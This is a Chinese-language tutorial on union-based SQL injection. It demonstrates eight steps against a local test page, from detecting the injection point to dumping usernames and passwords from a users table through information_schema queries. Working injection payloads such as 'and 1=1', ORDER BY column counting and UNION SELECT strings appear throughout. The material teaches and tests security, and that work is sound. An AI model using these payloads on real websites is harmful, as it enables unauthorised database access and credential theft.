首先要了解什么是聯合注入,聯合查詢注入是回顯注入的一種,也可以說聯合注入的前提是,頁面上要有回顯位。那又引出了另一問題,什么是回顯位?
在一個網站的正常頁面,服務端執行SQL語句查詢數據庫中的數據,客戶端將數據展示在頁面中,這個展示數據的位置就叫回顯位。
聯合注入通常是有一定的步驟:
1. 判斷注入點
2. 判斷注入類型(數字型型or字符型)
3. 判斷字段數
4. 判斷回顯位
5. 確定數據庫名
6. 確定表名
7. 確定字段名
8. 拿到數據
下面是結合實列演示的一個完整的聯合注入過程:
1. 判斷注入點
我們通過在變量后加payload來判斷注入點:
and 1=1 /and 1=2 /' 通過輸入這些payload后的回顯頁面,我們輕松看出是否存在注入;
另外MYSQL有三種常用的注釋符:
-- 該注釋符后面有一個空格;
/* */ 注釋符號內的內容;
# 對該行#后面的內容進行注釋。
2. 判斷注入類型
數字型的sql語句大概是下面這這類型:
select * from 【表名】 where id = 1
測試步驟:
1. 加單引號,這時sql語句后面多了一個單引號,會報錯;
2. 加and 1=1,語句正常執行,頁面與原始頁面相同;
3. 加and 1=2,語句也可以正常執行,但頁面會與原始網頁存在差距
如滿足以上三點,可以判斷此處存在數字型注入
字符型注入的sql語句為:
select * from 【表名】where name = 'zhangsan’
同樣加單引號,但后面要帶上注釋符來注釋掉后面多余的單引號,具體還是拿sql語句直觀看一下:
select * from 【表名】where name = 'zhangsan’ and 1=1 #'
第二個單引號是我們自己加的,用來'閉合前一個引號以便我們在后面繼續加代碼,#用來注釋掉最后面多余的'
當回顯正常時我們可以判斷此處為字符型注入。
3. 判斷字段數
order by 函數是對MySQL中查詢結果按照指定字段名進行排序,除了指定字段名還可以指定字段的欄位進行排序,第一個查詢字
段為1,第二個為2,依次 類推。若輸入數值為n時報錯,那么表示沒有n個字段,總的字段數為n-1。
4. 判斷回顯位置
通過上一步我們可以知道字段數,然后通過union select 1,2,3 ······n (n的數值為字段數)來判斷回顯位置
代碼寫的比較粗糙,四個字段都有回顯,而一般情況下只有個別位置會有回顯,我們要利用的就是這些位置
5. 確定數據庫名
database() 顯示當前數據庫
在有回顯的位置寫入命令
6. 確定表名
http://127.0.0.1/727/index.php?id=1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database();
7. 確定字段名
http://127.0.0.1/727/index.php?id=1 union select 1,group_concat(column_name),3,4 from information_schema.columns wheretable_name='users' and table_schema=database();
8. 拿到數據
http://127.0.0.1/727/index.php?id=1 union select 1, user,pass,4 from users where id =1